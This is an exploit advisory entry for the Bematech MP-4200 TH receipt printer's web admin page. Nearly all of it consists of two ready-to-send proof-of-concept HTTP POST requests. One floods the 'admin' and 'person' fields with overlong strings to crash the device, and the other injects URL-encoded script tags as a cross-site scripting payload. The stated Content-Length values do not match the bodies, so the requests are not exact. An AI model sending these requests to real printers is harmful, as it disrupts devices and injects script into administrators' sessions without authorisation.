Bematech Printer MP-4200 – Denial of Service
# Exploit Title: Bematech Printer MP-4200 - Denial of Service # Date: 2019-11-11 # Exploit Author: Jonatas Fil # Vendor Homepage: https://www.bematech.com.br/ # Software Link: https://www.bematech.com.br/produto/mp-4200-th/ # Version: MP-4200 TH # Tested on: Windows and Linux # CVE : N/A DoS Poc: -------------------------------------------------------------------------------------------------------- POST /en/conf_admin.html HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pt;q=0.8 Cache-Control: max-age=0 Referer: http://TARGET/en/conf_admin.html Content-Length: 40 Content-Type: application/x-www-form-urlencoded admin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&person=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&SUBMIT_ADMIN=Submit -------------------------------------------------------------------------------------------------------- XSS Poc: -------------------------------------------------------------------------------------------------------- POST /en/conf_admin.html HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,pt;q=0.8 Cache-Control: max-age=0 Referer: http://printer.com/en/conf_admin.html Content-Length: 40 Content-Type: application/x-www-form-urlencoded admin=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&person=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&SUBMIT_ADMIN=Submit |